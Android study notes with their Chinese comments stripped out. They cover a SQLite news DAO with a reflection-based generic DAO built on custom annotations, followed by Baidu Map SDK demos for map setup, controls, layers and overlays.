				public	abstract	List<News>	findAll();
}
③NewDaoNewsDaoImplCRUD
package	cn.zengfansheng.db.dao.impl;



	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.content.ContentValues;

import	android.content.Context;

import	android.database.Cursor;

import	android.database.sqlite.SQLiteDatabase;

import	cn.zengfansheng.db.dao.NewsDBHelper;

import	cn.zengfansheng.db.dao.NewsDao;

import	cn.zengfansheng.db.domain.News;

	

public	class	NewsDaoImpl	implements	NewsDao	{

	

				private	NewsDBHelper	dbHelper;

				private	SQLiteDatabase	database;

	

				private	static	final	String	TABLE_NEWS_NAME	=

NewsDBHelper.TABLE_NEWS_NAME;//	

	

				private	static	final	String	TABLE_ID	=

NewsDBHelper.TABLE_NEWS_ID;//	

				private	static	final	String	TABLE_NEWS_TITLE	=

NewsDBHelper.TABLE_NEWS_TITLE;//	

				private	static	final	String	TABLE_NEWS_SUMMARY	=

NewsDBHelper.TABLE_NEWS_SUMMARY;//	

	

				public	NewsDaoImpl(Context	context)	{

								this.dbHelper	=	new	NewsDBHelper(context);

								database	=	dbHelper.getWritableDatabase();

				}

	

				@Override

				public	long	insert(News	news)	{//	

	

								//SQLiteDatabase	database	=	dbHelper.getWritableDatabase();

	

								ContentValues	values	=	new	ContentValues();

								values.put(TABLE_NEWS_TITLE,	news.getTitle());

								values.put(TABLE_NEWS_SUMMARY,	news.getSummary());

	

								long	insert	=	database.insert(TABLE_NEWS_NAME,	null,	values);

	

								database.close();

								return	insert;

				}

	



				@Override

				public	int	delete(int	_id)	{//	_id1,whereClause=?

	

								//SQLiteDatabase	database	=	dbHelper.getWritableDatabase();

								int	delete	=	database.delete(TABLE_NEWS_NAME,	TABLE_ID+"=?",

new	String[]{String.valueOf(_id)});

	

								database.close();

								return	delete;

				}

	

				@Override

				public	int	update(News	news)	{

	

								//SQLiteDatabase	database	=	dbHelper.getWritableDatabase();

	

								ContentValues	values	=	new	ContentValues();

								values.put(TABLE_NEWS_TITLE,	news.getTitle());

								values.put(TABLE_NEWS_SUMMARY,	news.getSummary());

	

								int	update	=	database.update(TABLE_NEWS_NAME,

values,TABLE_ID+"=?",new	String[]{String.valueOf(news.get_id())});

	

								database.close();

								return	update;

								//	update	table	news	set	title=?,summary=?	where	_id	=	?;

				}

	

				@Override

				public	List<News>	findAll()	{

	

								//SQLiteDatabase	database	=	dbHelper.getWritableDatabase();

	

								Cursor	cursor	=	database.query(TABLE_NEWS_NAME,	null,	null,

null,	null,	null,	null);

								List<News>	list	=	new	ArrayList<News>();

								if	(cursor!=null)	{

	

												while	(cursor.moveToNext())	{

																News	news	=	new	News();

																//	int	_id	=

cursor.getInt(cursor.getColumnIndex(TABLE_ID));

																String	title	=

cursor.getString(cursor.getColumnIndex(TABLE_NEWS_TITLE));

																String	summary	=

cursor.getString(cursor.getColumnIndex(TABLE_NEWS_SUMMARY));

																//	news.set_id(_id);



																news.setTitle(title);

																news.setSummary(summary);

																list.add(news);

												}

								}

	

								cursor.close();

								database.close();

								return	list;

				}

}

④DBTest.java
package	cn.zengfansheng.db.test;
import	java.util.List;
import	android.database.sqlite.SQLiteDatabase;
import	android.test.AndroidTestCase;
import	cn.zengfansheng.db.dao.NewsDBHelper;
import	cn.zengfansheng.db.dao.NewsDao;
import	cn.zengfansheng.db.dao.impl.NewsDaoImpl;
import	cn.zengfansheng.db.domain.News;

public	class	DBTest	extends	AndroidTestCase	{
				public	void	testDBhelp()	{
								NewsDBHelper	dbHelper	=	new	NewsDBHelper(getContext());
								SQLiteDatabase	database	=	dbHelper.getWritableDatabase();
				}
				public	void	testInsert()	{
								NewsDao	newsDao	=	new	NewsDaoImpl(getContext());
								News	news	=	new	News();
								for	(int	i	=	0;	i	<	20;	i++)	{
												news.setTitle("news_title_"	+	i);
												news.setSummary("news_summary_"	+	i);
												newsDao.insert(news);
								}
				}
				public	void	testDelete()	{
								NewsDao	newsDao	=	new	NewsDaoImpl(getContext());
								int	_id	=	1;
								int	delete	=	newsDao.delete(_id);



								System.out.println("delete:"	+	delete);
				}
				public	void	testUpdate()	{
								NewsDao	newsDao	=	new	NewsDaoImpl(getContext());
								News	news	=	new	News();
								news.set_id(19);
								news.setTitle("hacket	title");
								news.setSummary("hacket	summary");
								int	update	=	newsDao.update(news);
								System.out.println("update:"	+	update);
				}
				public	void	testFindAll()	{
								NewsDao	newsDao	=	new	NewsDaoImpl(getContext());
								List<News>	newss	=	newsDao.findAll();
								for	(News	news	:	newss)	{
												System.out.println(news.getTitle()	+	":"	+	news.getSummary());
								}
				}
}
	
1Dao.java
package	cn.zengfansheng.db.dao;
import	java.io.Serializable;
import	java.util.List;
public	interface	Dao<M>	{
				//	note*********************1*********************
				//	1insert
				//	①
				//	②
				//	2delete
				//	①
				//	②
				//	3update
				//	①
				//	②
				//	③
				//	4query



				//	①
				//	②
				//	③
				
				//	note*********************2*********************
				/**
					*	
					*	@param	m	
					*	@return		the	row	ID	of	the	newly	inserted	row,	or	-1	if	an	error	occurred
					*/
				public	abstract	long	insert(M	m);
				
				/**
					*	
					*	@param	_id	_id
					*	@return		
					*/
				public	abstract	int	delete(Serializable	_id);
				
				
				/**
					*	
					*	
					*	@param	m
					*												
					*	@return	
					*/
				public	abstract	int	update(M	m);
				/**
					*	()
					*	
					*	@return	
					*/
				public	abstract	List<M>	findAll();
}
	
2



//	
//	
//	
//	
//	

①
②Annotation( @Retention@Target)
@TableName(value	=	DBHelper.TABLE_NEWS_NAME)	//
public	class	News	{}
③
package	cn.zengfansheng.db.annotation;
import	java.lang.annotation.ElementType;
import	java.lang.annotation.Retention;
import	java.lang.annotation.RetentionPolicy;
import	java.lang.annotation.Target;
/**
	*	
	*	
	*	@author	hacket
	*/
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public	@interface	TableName	{
				String	value();
}
④
//	======================================================
//	
//	①
//	②annotation(@Retention@Target)
/**
	*	
	*	@return
	*/
private	String	getTableName()	{
				//	1M



				M	m	=	getInstance();
				//2
				TableName	tableNameInstance	=	m.getClass().getAnnotation(TableName.class
				if	(tableNameInstance	!=	null)	{
								String	tableName	=	tableNameInstance.value();
								return	tableName;
				}
				return	null;
}

①
/**
	*	domain
	*	@author	hacket
	*/
@TableName(value	=	DBHelper.TABLE_NEWS_NAME)	//
public	class	News	{

				@ColumnName(value=DBHelper.TABLE_ID)			//
				private	int	_id;
				@ColumnName(value	=	DBHelper.TABLE_NEWS_TITLE)
				private	String	title;
				@ColumnName(value	=	DBHelper.TABLE_NEWS_SUMMARY)
				private	String	summary;
}
②ColumnName.java
package	cn.zengfansheng.db.annotation;
import	java.lang.annotation.ElementType;
import	java.lang.annotation.Retention;
import	java.lang.annotation.RetentionPolicy;
import	java.lang.annotation.Target;
/**
	*	
	*	
	*	@author	hacket
	*/
@Target(ElementType.FIELD)



@Retention(RetentionPolicy.RUNTIME)
public	@interface	ColumnName	{
				String	value();
}
③
④
//	NOTES==========================
//	
//	①
//	②
//	③
/**
	*	
	*	
	*	@param	cursor
	*	@param	m
	*/
private	void	fillFields(Cursor	cursor,	M	m)	{
				//	1m(private)
				Field[]	declaredFields	=	m.getClass().getDeclaredFields();
				//	2()
				for	(Field	field	:	declaredFields)	{
								//	2-1field
								field.setAccessible(true);
								//	2-2field
								ColumnName	columnNameAnnotation	=	field
																.getAnnotation(ColumnName.class);
								if	(columnNameAnnotation	!=	null)	{//	
												//	2-3
												String	columnName	=	columnNameAnnotation.value();
												//	2-4
												String	columnValue	=	cursor.getString(cursor
																				.getColumnIndex(columnName));
												try	{
																//	2-5
																//	int	modifiers	=	field.getModifiers();
																//	2-6



																Class<?>	type	=	field.getType();
																String	typeName	=	type.getSimpleName();
																if	(typeName.equals("String"))	{
																				field.set(m,	columnValue);
																}	else	if	(typeName.equals("float"))	{
																				field.setFloat(m,	Float.parseFloat(columnValue));
																}	else	if	(typeName.equals("double"))	{
																				field.setDouble(m,	Double.parseDouble(columnValue));
																}	else	if	(typeName.equals("long"))	{
																				field.setLong(m,	Long.parseLong(columnValue));
																}	else	if	(typeName.equals("int"))	{
																				field.setInt(m,	Integer.parseInt(columnValue));
																}	else	if	(typeName.equals("short"))	{
																				field.setShort(m,	Short.parseShort(columnValue));
																}	else	if	(typeName.equals("byte"))	{
																				field.setByte(m,	Byte.parseByte(columnValue));
																}	else	if	(typeName.equals("char"))	{
																				field.setChar(m,	columnValue.toCharArray()[0]);//	charString
																}	else	if	(typeName.equals("boolean"))	{
																				field.setBoolean(m,	Boolean.parseBoolean(columnValue));
												}
												}	catch	(IllegalAccessException	e)	{
																e.printStackTrace();
												}	catch	(IllegalArgumentException	e)	{
																e.printStackTrace();
												}
								}
				}
}
	
//	NOTES===========================
===========================
/**
	*	ContentValuesContentValues
	*	@param	m	M
	*	@param	values	ContentValues
	*/



private	void	fillValues(M	m,	ContentValues	values)	{
				//	
				//	1M
				Field[]	declaredFields	=	m.getClass().getDeclaredFields();
				//	2
				for	(Field	field	:	declaredFields)	{
								field.setAccessible(true);//	
								//	field
								ColumnName	columnAnnotation	=	field.getAnnotation(ColumnName.class
								
								if	(columnAnnotation	!=	null)	{
												
												//	ID
												ID	idAnnotation	=	field.getAnnotation(ID.class);
												String	key	=	columnAnnotation.value();
												if	(idAnnotation	!=	null)	{//	IDnull
																if	(idAnnotation.autoincrement()	==	true)	{//	ID
																				//	IDtrue
																				//	idid0
																				continue;
																}	else	{//	
																}
												}	else	{//	ID	
												}
												String	value	=	null;
												try	{
																//	ContentValues
																value	=	String.valueOf(field.get(m));//	FIXME:ClassCastException
																values.put(key,	value);
												}	catch	(IllegalAccessException	e)	{
																e.printStackTrace();
												}	catch	(IllegalArgumentException	e)	{
																e.printStackTrace();
												}
								}
				}
}



_id
①ID
package	cn.zengfansheng.db.annotation;

import	java.lang.annotation.ElementType;

import	java.lang.annotation.Retention;

import	java.lang.annotation.RetentionPolicy;

import	java.lang.annotation.Target;

/**

	*	ID

	*	@author	hacket

	*/

@Target(ElementType.FIELD)

@Retention(RetentionPolicy.RUNTIME)

public	@interface	ID	{

				/**

					*	truefalse

					*	@return

					*/

				boolean	autoincrement();

}

②ID
@ID(autoincrement	=	true)
@ColumnName(StudentDBHelper.TABLE_ID)
private	int	_id;
③ID	
//	NOTES===========================_id
===========================
//	
private	String	getId(M	m)	{
				//	1M
				Field[]	declaredFields	=	m.getClass().getDeclaredFields();
				//	2
				for	(Field	field	:	declaredFields)	{
								field.setAccessible(true);//	
								//	ID
								ID	idAnotation	=	field.getAnnotation(ID.class);
								//	nullID
								if	(idAnotation	!=	null)	{
												try	{



																return	String.valueOf(field.get(m));//	FIXME:ClassCast
												}	catch	(IllegalAccessException	e)	{
																e.printStackTrace();
												}	catch	(IllegalArgumentException	e)	{
																e.printStackTrace();
												}
								}
				}
				return	null;
}
()()
DaoSupport
1this.getClass()class.calssclass
2 (:DaoSupport<M>) ParameterizedType

①classStudentDaoImpl
②StudentDaoImplDaoSupport<M>
③ParameterizedType
④getActualTypeArguments
⑤clazz.newInstance();
//	===========================()====================
/**
	*	
	*	@return
	*/
@SuppressWarnings("unchecked")
private	M	getInstance()	{
				
				//	1DaoSupportStudentDaoImplDaoSupport<Student>
				Type	daoSupportClass	=	this.getClass().getGenericSuperclass();
				//	2
				if	(daoSupportClass!=null	&&	daoSupportClass	instanceof	ParameterizedType)	{
								
								//	3	DaoSupportParameterizedType
								ParameterizedType	parameterizedType	=	(ParameterizedType)	daoSupportClass;
								
								//	4DaoSupport



								Type[]	actualTypeArguments	=	parameterizedType.getActualTypeArguments();
								
								Class<?>	clazz	=	(Class<?>)	actualTypeArguments[0];
									
								try	{
												//	5
												return	(M)	clazz.newInstance();
								}	catch	(InstantiationException	e)	{
												e.printStackTrace();
								}	catch	(IllegalAccessException	e)	{
												e.printStackTrace();
								}
				}
				return	null;
}
ID_id=0
1
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_HelloWorld

1 	BMapManager	

①public	boolean	init(java.lang.String	strKey,	MKGeneralListener	listener)	
strKey	-	 listener	-	(listener)
②public	boolean	start()		API
③public	boolean	stop()	API
④public	void	destroy()	

2MKGeneralListener		

①	void	onGe	tNetworkState(int	iError)	MKEvent
②void	onGetPermissionState(int	iError)	0MKEvent

3 MKEvent		
①ERROR_NETWORK_CONNECT	
②ERROR_PERMISSION_DENIED	

4 MapView	View

5 MapController	
①public	float	setZoom(float	zoomLevel)		[3,19]
②public	void	setCenter(GeoPoint	point)	GeoPoint

6GeoPoint
GeoPoint(int	latitudeE6,	int	longitudeE6)	//GeoPoint10^6int

http://developer.baidu.com/map/sdkandev-2.htm
1
2jar.so
3
4HelloWorldActivity
5		 BMapManager	init()	
MKEvent
6 MapView	

http://developer.baidu.com/map/sdkandev-2.htm


7MapController
①	BMapManager

	
//	NOTES===========================1
BMapManager===========================
/**
	*	 -BMapManager
	*/
private	void	initBMapManager()	{
				//	setContentViewBMapManager
				mBMapMan	=	new	BMapManager(getApplication());
				//	Key
				mBMapMan.init(ConstantValue.KEY,	new	MKGeneralListener()	{
								//	
								@Override
								public	void	onGetPermissionState(int	iError)	{
												if	(iError	==	MKEvent.ERROR_PERMISSION_DENIED)	{
																Toast.makeText(getApplication(),	"" ,Toast.LENGTH_SHORT).show();
												}
								}
								//	
								@Override
								public	void	onGetNetworkState(int	iError)	{
												if	(iError	==	MKEvent.ERROR_NETWORK_CONNECT)	{
																Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();



												}
								}
				});
}		
②MapView

	
//	NOTES===========================2
MapController===========================
/**
	*	2MapController
	*/
private	void	initMapView()	{
				mMapView	=	(MapView)	this.findViewById(R.id.mapview);
				
				//	1
				mMapView.setBuiltInZoomControls(true);
				//MapControllerMapViewMapView				
				mapController	=	mMapView.getController();
				//	2
				mapController.setZoom(12);//	3-19(2.0)2.03-18193D3
				//3
				int	latitudeE6	=	(int)	(40.051	*	1E6);//	10^6
				int	longitudeE6	=	(int)	(116.303	*	1E6);//	10^6
				GeoPoint	geoPoint	=	new	GeoPoint(latitudeE6,	longitudeE6);
				mapController.setCenter(geoPoint);
				//	
				//	TODO:4MKMapViewListener



				mapController.enableClick(true);//	trueMKMapViewListeneronClickMapPoi
				mMapView.regMapViewListener(mBMapMan,	new	MyMKMapViewListener());
}		

③MapController

	
@Override
public	void	onClick(View	v)	{
				switch	(v.getId())	{
				case	R.id.bt_zoom_in:
								//	
				mapController.zoomIn();
				break;
case	R.id.bt_zoom_out:
				//	
				mapController.zoomOut();
				break;
case	R.id.bt_move:
				//	""
				mapController.animateTo(new	GeoPoint(40065796,	116349868));
				break;
case	R.id.bt_rotate:
				//	
				//	setRotation	0~360°
				//	1
				//	float	nowRotation	=	mMapView.getRotation();
				int	mapRotation	=	mMapView.getMapRotation();
				//	230



				mapRotation	+=	30;
				//	3
				mapController.setRotation(mapRotation);//	0~360°
				//	4
				Log.i(TAG,	"" 	+	mapRotation);
				break;
case	R.id.bt_overlooking:
				//	0°
				//	1
				int	mapOverlooking	=	mMapView.getMapOverlooking();
				//	2
				mapOverlooking	-=	5;
				//	3
				mapController.setOverlooking(mapOverlooking);//	,0~-45
				Log.i(TAG,	"" 	+	mMapView.getMapOverlooking());
				break;
}		
④MKMapViewListener

	
1MapViewMKMapViewListener
mMapView.regMapViewListener(mBMapMan,	new	MyMKMapViewListener());
2 enableClicktrue onClickMapPoipoi
mapController.enableClick(true);//	trueMKMapViewListeneronClickMapPoi
3MKMapViewListener
//	NOTES===================5MapView-
MKMapViewListener===========
private	class	MyMKMapViewListener	implements	MKMapViewListener	{



				@Override
				public	void	onMapMoveFinish()	{
								/**
									*	
									*	
									*/
								Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
				}
				@Override
				public	void	onMapLoadFinish()	{
								//	
								Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
				}
				@Override
				public	void	onMapAnimationFinish()	{
								//	:	animationTo()
								Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
				}
				@Override
				public	void	onGetCurrentMap(Bitmap	bitmap)	{
								/**
									*		mMapView.getCurrentMap()	
									*/
								Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
				}
				@Override
				public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{//	poi
								/**
									*	 poi
									*	 poi
									*		mMapController.enableClick(true);	
									*	
									*/
								if	(mapPoiInfo!=null)	{
												//	mapPoiInfo.geoPt;//
												String	text	=	mapPoiInfo.strText;
												Toast.makeText(getApplication(),text,	Toast.LENGTH_SHORT).show();



												//	
												mapController.animateTo(mapPoiInfo.geoPt);
								}
				}
}
HelloWorld
package	cn.zengfansheng.mybaidumap.helloworld;
import	android.app.Activity;
import	android.graphics.Bitmap;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.ConstantValue;
import	cn.zengfansheng.mybaidumap.R;
import	com.baidu.mapapi.BMapManager;
import	com.baidu.mapapi.MKGeneralListener;
import	com.baidu.mapapi.map.MKEvent;
import	com.baidu.mapapi.map.MKMapViewListener;
import	com.baidu.mapapi.map.MapController;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.MapView;
import	com.baidu.platform.comapi.basestruct.GeoPoint;

public	class	HelloWorld	extends	Activity	implements	OnClickListener	{
				private	static	final	String	TAG	=	"HelloWorld";
				//	
				//	BMapManager
				//	MapView
				//	MapView	MKMapViewListener
				//	MapController:
				private	BMapManager	mBMapMan;
				private	MapView	mMapView;
				private	MapController	mapController;
				@Override



				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								//	1BMapManager init()setContentView
								initBMapManager();
								//	2
								setContentView(R.layout.helloworld);
								//	3MapView
								initMapView();
								//	4setContentView
								initComponent();
				}
				//	NOTES===================5MapView-
MKMapViewListener===========
				private	class	MyMKMapViewListener	implements	MKMapViewListener	{
								@Override
								public	void	onMapMoveFinish()	{
												/**
													*	
													*	
													*/
												Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
								}
								@Override
								public	void	onMapLoadFinish()	{
												//	
												Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
								}
								@Override
								public	void	onMapAnimationFinish()	{
												//	:	animationTo()
												Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
								}
								@Override
								public	void	onGetCurrentMap(Bitmap	bitmap)	{
												/**
													*		mMapView.getCurrentMap()	
													*/



												Toast.makeText(getApplication(),	"" ,	Toast.LENGTH_SHORT).show();
								}
								@Override
								public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{//	poi
												/**
													*	 poi
													*	 poi
													*		mMapController.enableClick(true);	
													*	
													*/
												if	(mapPoiInfo!=null)	{
																//	mapPoiInfo.geoPt;//
																String	text	=	mapPoiInfo.strText;
																Toast.makeText(getApplication(),text,	Toast.LENGTH_SHORT).show();
																//	
																mapController.animateTo(mapPoiInfo.geoPt);
												}
								}
				}

				//	NOTES===========================4
===========================
				private	Button	btnZoomIn;//	
				private	Button	btnZoomOut;//	
				private	Button	btnMove;//	
				private	Button	btnRotate;//	
				private	Button	btnOverlooking;//	
				/**
					*	
					*/
				private	void	initComponent()	{
								btnZoomIn	=	(Button)	this.findViewById(R.id.bt_zoom_in);
								btnZoomOut	=	(Button)	this.findViewById(R.id.bt_zoom_out);
								btnMove	=	(Button)	this.findViewById(R.id.bt_move);
								btnRotate	=	(Button)	this.findViewById(R.id.bt_rotate);
								btnOverlooking	=	(Button)	this.findViewById(R.id.bt_overlooking);



								btnZoomIn.setOnClickListener(this);
								btnZoomOut.setOnClickListener(this);
								btnMove.setOnClickListener(this);
								btnRotate.setOnClickListener(this);
								btnOverlooking.setOnClickListener(this);
				}
				@Override
				public	void	onClick(View	v)	{
								switch	(v.getId())	{
								case	R.id.bt_zoom_in:
												//	
												mapController.zoomIn();
												break;
								case	R.id.bt_zoom_out:
												//	
												mapController.zoomOut();
												break;
								case	R.id.bt_move:
												//	""
												mapController.animateTo(new	GeoPoint(40065796,	116349868));
												break;
								case	R.id.bt_rotate:
												//	
												//	setRotation	0~360°
												//	1
												//	float	nowRotation	=	mMapView.getRotation();
												int	mapRotation	=	mMapView.getMapRotation();
												//	230
												mapRotation	+=	30;
												//	3
												mapController.setRotation(mapRotation);//	0~360°
												//	4
												Log.i(TAG,	"" 	+	mapRotation);
												break;
								case	R.id.bt_overlooking:
												//	0°
												//	1



												int	mapOverlooking	=	mMapView.getMapOverlooking();
												//	2
												mapOverlooking	-=	5;
												//	3
												mapController.setOverlooking(mapOverlooking);//	,0~-45
												Log.i(TAG,	"" 	+	mMapView.getMapOverlooking());
												break;
								}
				}

				//	NOTES===========================3MapViewActivity
===========================
				@Override
				protected	void	onResume()	{
								super.onResume();
								mMapView.onResume();
				}
				@Override
				protected	void	onPause()	{
								super.onPause();
								mMapView.onPause();
				}
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								mMapView.destroy();
				}

				//	NOTES===========================2
MapController===========================
				/**
					*	2MapController
					*/
				private	void	initMapView()	{
								mMapView	=	(MapView)	this.findViewById(R.id.mapview);
								
								//	1



								mMapView.setBuiltInZoomControls(true);

								//MapControllerMapViewMapView				
								mapController	=	mMapView.getController();

								//	2
								mapController.setZoom(12);//	3-19(2.0)2.03-18193D3

								//3
								int	latitudeE6	=	(int)	(40.051	*	1E6);//	10^6
								int	longitudeE6	=	(int)	(116.303	*	1E6);//	10^6
								GeoPoint	geoPoint	=	new	GeoPoint(latitudeE6,	longitudeE6);
								mapController.setCenter(geoPoint);
								//	

								//	TODO:4MKMapViewListener
								mapController.enableClick(true);//	trueMKMapViewListeneronClickMapPoi
								mMapView.regMapViewListener(mBMapMan,	new	MyMKMapViewListener());
				}
				//	NOTES===========================1
BMapManager===========================
				/**
					*	 -BMapManager
					*/
				private	void	initBMapManager()	{

								//	setContentViewBMapManager
								mBMapMan	=	new	BMapManager(getApplication());

								//	Key
								mBMapMan.init(ConstantValue.KEY,	new	MKGeneralListener()	{
												//	
												@Override
												public	void	onGetPermissionState(int	iError)	{
																if	(iError	==	MKEvent.ERROR_PERMISSION_DENIED)	{
																				Toast.makeText(getApplication(),	"" ,Toast.LENGTH_SHORT).show();
																}



												}
												//	
												@Override
												public	void	onGetNetworkState(int	iError)	{
																if	(iError	==	MKEvent.ERROR_NETWORK_CONNECT)	{
																				Toast.makeText(getApplication(),	"
" ,	Toast.LENGTH_SHORT).show();
																}
												}
								});
				}
}



MapView
@Override
protected	void	onResume()	{
				super.onResume();
				mMapView.onResume();
}
@Override
protected	void	onPause()	{
				super.onPause();
				mMapView.onPause();
}
@Override
protected	void	onDestroy()	{
				super.onDestroy();
				mMapView.destroy();
}



_

	





.

.



1.



2.

01.	 mMapView.setTraffic(true);		

http://developer.baidu.com/map/question.htm#qa0033


3.

01.	 mMapView.setSatellite(true);		

	

package	cn.zengfansheng.mybaidumap.layer;

	

import	android.app.Activity;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.widget.Button;

import	android.widget.Toast;

import	cn.zengfansheng.mybaidumap.ConstantValue;

import	cn.zengfansheng.mybaidumap.R;

	

import	com.baidu.mapapi.BMapManager;

import	com.baidu.mapapi.MKGeneralListener;

import	com.baidu.mapapi.map.MKEvent;

import	com.baidu.mapapi.map.MapController;

import	com.baidu.mapapi.map.MapView;

import	com.baidu.platform.comapi.basestruct.GeoPoint;



	

/**

*	

*/

public	class	LayerDemo	extends	Activity	implements	OnClickListener	{

	

				private	static	final	String	TAG	=	"LayerDemo";

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

	

								super.onCreate(savedInstanceState);

	

								initManager();

	

								this.setContentView(R.layout.layer);

	

								initViewController();

	

								initComponent();

				}

	

				//	NOTES====================2BMapManagerMapController

MapView==================

				private	BMapManager	bMapManager;

				private	MapController	mapController;

				private	MapView	mapView;

	

				/**

					*	1BMapManager

					*/

				private	void	initManager()	{

								bMapManager	=	new	BMapManager(getApplication());

	

								bMapManager.init(ConstantValue.KEY,	new	MKGeneralListener()	{

	

												@Override

												public	void	onGetPermissionState(int	iError)	{

																if	(iError	==	MKEvent.ERROR_PERMISSION_DENIED)	{

																				Toast.makeText(getApplication(),	"

" ,Toast.LENGTH_SHORT).show();

																}

												}

												@Override

												public	void	onGetNetworkState(int	iError)	{

																if	(iError	==	MKEvent.ERROR_NETWORK_CONNECT)	{

																				Toast.makeText(getApplication(),	"" ,

Toast.LENGTH_SHORT).show();

																}

												}



								});

	

				}

	

				/**

					*	2MapView,MapController

					*/

				private	void	initViewController()	{

								//	1MapView

								mapView	=	(MapView)	this.findViewById(R.id.mapview_layer);

	

								//	2MapViewMapController

								mapController	=	mapView.getController();

	

								//	3mapView

								mapView.setBuiltInZoomControls(true);

	

								//	4

								mapController.setZoom(13);

	

								//	5

								int	latitudeE6	=	(int)	(40.051	*	1E6);//	10^6

								int	longitudeE6	=	(int)	(116.303	*	1E6);//	10^6

								GeoPoint	geoPoint	=	new	GeoPoint(latitudeE6,	longitudeE6);

								mapController.setCenter(geoPoint);

	

				}

	

				@Override

				protected	void	onResume()	{

								super.onResume();

								bMapManager.start();

								Log.i(TAG,	"start" );

				}

	

				@Override

				protected	void	onPause()	{

								super.onPause();

								bMapManager.stop();

								Log.i(TAG,	"stop" );

				}

	

				@Override

				protected	void	onDestroy()	{

								super.onDestroy();

								bMapManager.destroy();

								Log.i(TAG,	"destroy" );

				}

				//	NOTES===========================1===========================

				private	Button	btnBaseLayer;//	



				private	Button	btnTrafficLayer;//	

				private	Button	btnSatelliteLayer;//	

	

				/**

					*	

					*/

				private	void	initComponent()	{

								btnBaseLayer	=	(Button)	this.findViewById(R.id.bt_base_layer);

								btnTrafficLayer	=	(Button)

this.findViewById(R.id.bt_traffic_layer);

								btnSatelliteLayer	=	(Button)

this.findViewById(R.id.bt_satellite_layer);

	

								btnBaseLayer.setOnClickListener(this);

								btnTrafficLayer.setOnClickListener(this);

								btnSatelliteLayer.setOnClickListener(this);

				}

				@Override

				public	void	onClick(View	v)	{

								switch	(v.getId())	{

								case	R.id.bt_base_layer://	

												mapView.setTraffic(false);

												mapView.setSatellite(false);

												break;

								case	R.id.bt_traffic_layer://	

												mapView.setTraffic(true);

												break;

								case	R.id.bt_satellite_layer://	

												mapView.setSatellite(true);

												break;

								}

				}

}

①



	
②



	
③





__GraphicsOverlay

0Overlay
Overlay
2.0.0SDKOverlay	,	ItemizedOverlay
Overlay

1GraphicsOverlay



overlay
①public	GraphicsOverlay(MapView	mapView)	
public	long	setData(Graphic	g)		

②Graphic		
public	Graphic(Geometry	g,Symbol	s)			g	-		 s	-

③Geometry		
public	void	setCircle(GeoPoint	geoPoint	,int	radius)	
geoPoint	-			 radius	-	

④Symbol	
public	void	setSurface(Symbol.Color		color,	int	status,int	linewidth)
color	-			 status	-	01		 linewidth	-	,(1)
1

package	cn.zengfansheng.mybaidumap.overlay;
import	java.util.List;
import	android.os.Bundle;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	com.baidu.mapapi.map.Geometry;
import	com.baidu.mapapi.map.Graphic;
import	com.baidu.mapapi.map.GraphicsOverlay;
import	com.baidu.mapapi.map.Overlay;
import	com.baidu.mapapi.map.Symbol;
import	com.baidu.mapapi.map.Symbol.Color;
/**
	*	overlay
	*/
public	class	GraphicsOverlayDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								addGraphicsOverlay();



				}
				//	1MapViewOverlay
				//	2
				//	3
				/**
					*	GraphicsOverlay
					*/
				private	void	addGraphicsOverlay()	{
								//	1MapViewOverlay
								List<Overlay>	overlays	=	mMapView.getOverlays();
								
								//	2
								GraphicsOverlay	overlay	=	new	GraphicsOverlay(mMapView);
								//
								setOverlayData(overlay);
								//	
								overlays.add(overlay);
								
								//	3
								mMapView.refresh();
				}
				/**
					*	GraphicsOverlay
					*	@param	overlay
					*/
				private	void	setOverlayData(GraphicsOverlay	overlay)	{
								
								//	
								Geometry	geometry	=	new	Geometry();
								int	radius	=	1000;
								geometry.setCircle(geoPoint,	radius);
								
								//	
								Symbol	symbol	=	new	Symbol();
								Symbol.Color	color	=	getColor();
								int	status	=	1;//	01
								int	linewidth	=	0;//	,



								symbol.setSurface(color,	status,	linewidth);
								Graphic	graphic	=	new	Graphic(geometry,	symbol);//	
								overlay.setData(graphic);//	
				}
				/**
					*	
					*	@return
					*/
				private	Color	getColor()	{
								Symbol.Color	color	=	new	Symbol().new	Color();//	
								color.red	=	255;
								color.green	=	0;
								color.blue	=	0;
								color.alpha	=	100;//	
								return	color;
				}
}





__TextOverlay	

1TextOverlay	 extends	Overlay

.

1.	TextItem
2.	TextOverlay,	addText(TextItem)	.	
3.	MapView.getOverlays().add()overlaymapview
4.	MapView.refresh()	Overlay

	
①public	void	addText(TextItem	item)			.		 MapView.refresh()	

②	TextItem		TextItemTextOverlayMapView

package	cn.zengfansheng.mybaidumap.overlay;
import	java.util.List;
import	android.os.Bundle;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	com.baidu.mapapi.map.Overlay;
import	com.baidu.mapapi.map.Symbol;
import	com.baidu.mapapi.map.Symbol.Color;
import	com.baidu.mapapi.map.TextItem;
import	com.baidu.mapapi.map.TextOverlay;
/**



	*	
	*/
public	class	TextOverlayDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								addTextOverlayData();
				}
				/**
					*	TextOverlay
					*/
				private	void	addTextOverlayData()	{
								//	
								//	1.	TextItem
